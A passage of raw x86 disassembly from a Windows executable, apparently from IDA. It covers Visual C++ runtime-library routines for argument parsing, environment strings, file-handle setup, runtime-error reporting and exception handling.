[ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; =============== S U B R O U T I N E ======================================= sub_41F48D proc near ; CODE XREF: ___:00419C63p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_48A1D0 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_48A1D0, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: sub_41F48D+21j nop call near ptr 25F02C7h mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_48A1D0, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: sub_41F48D+19j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: sub_41F48D+2Dj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: sub_41F48D+59j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: sub_41F48D+73j ; sub_41F48D+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: sub_41F48D+6Cj sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41F55A push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push [esp+18h+var_8] call sub_417C3B pop ecx mov [esp+18h+var_8], ebx loc_41F556: ; CODE XREF: sub_41F48D+B9j mov ebx, [esp+18h+var_8] loc_41F55A: ; CODE XREF: sub_41F48D+99j ; sub_41F48D+A8j push esi call near ptr 25F051Dh nop mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: sub_41F48D+51j cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: sub_41F48D+49j cmp edi, ebx jnz short loc_41F57A nop call near ptr 25F02C7h mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: sub_41F48D+DFj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: sub_41F48D+F6j ; sub_41F48D+FBj inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: sub_41F48D+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: sub_41F48D+10Dj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: sub_41F48D+111j push edi nop call near ptr 25F05B8h mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: sub_41F48D+39j ; sub_41F48D+61j ... xor eax, eax loc_41F5B8: ; CODE XREF: sub_41F48D+D6j ; sub_41F48D+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41F48D endp ; =============== S U B R O U T I N E ======================================= sub_41F5BF proc near ; CODE XREF: ___:00419C53p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: sub_41F5BF+16j mov dword_48B340, esi mov dword_48B440, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: sub_41F5BF+52j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_48B340 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: sub_41F5BF+38j lea eax, [esp+54h+var_44] push eax nop call near ptr 2810000h cmp word ptr [esp+54h+var_14+2], 0 jz loc_41F6EF mov eax, [esp+54h+var_10] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: sub_41F5BF+86j cmp dword_48B440, esi jge short loc_41F6A3 mov edi, offset dword_48B344 loc_41F656: ; CODE XREF: sub_41F5BF+DAj push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_48B440, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: sub_41F5BF+CFj cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: sub_41F5BF+B7j add edi, 4 cmp dword_48B440, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: sub_41F5BF+A4j mov esi, dword_48B440 loc_41F6A3: ; CODE XREF: sub_41F5BF+90j ; sub_41F5BF+DCj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: sub_41F5BF+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax call near ptr 25E0821h nop test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: sub_41F5BF+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: sub_41F5BF+EFj ; sub_41F5BF+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: sub_41F5BF+65j ; sub_41F5BF+71j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: sub_41F5BF+195j mov eax, dword_48B340 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: sub_41F5BF+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: sub_41F5BF+14Bj push eax nop call near ptr 25F0000h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi nop call near ptr 25E0821h test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: sub_41F5BF+163j ; sub_41F5BF+16Ej or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: sub_41F5BF+17Aj cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: sub_41F5BF+13Ej or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: sub_41F5BF+180j ; sub_41F5BF+185j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_48B440 nop call near ptr 25F022Ch pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41F5BF endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p ; sub_419CFF+9p mov eax, dword_48A068 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_439594, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_48A1D4 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_419CFF+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43BC28 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_43BCB8 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43BC28[esi] jnz loc_41F9D5 mov eax, dword_48A068 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_439594, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2650000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_43BC2C[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_43BC2C[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 25F0000h push eax call near ptr 2630000h nop loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_48A1D8 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_48B320 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_48B320, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_48B320, esi call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_43BCB8 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_48A310 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43BF38 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_43BCC8 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_48B340[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_43BD28 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_48A054, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_48A0A8, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4397AC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_48A0B8 nop call near ptr 2790000h test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A1DC xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25D0000h test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push ebx nop call near ptr 25E0000h test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_48A1DC, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_48A0A8 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 25E0000h nop jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2620000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2620000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 25D0000h jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_48B340 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_48B440 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_48B440, 20h lea ecx, ds:48B340h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_439594, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj call near ptr 25C04CEh nop loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_48B440 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:48B340h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_439594, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej call near ptr 25C04CEh nop loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax call near ptr 25C0000h nop test eax, eax jnz short loc_41FEAD nop call near ptr 26402CBh jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; 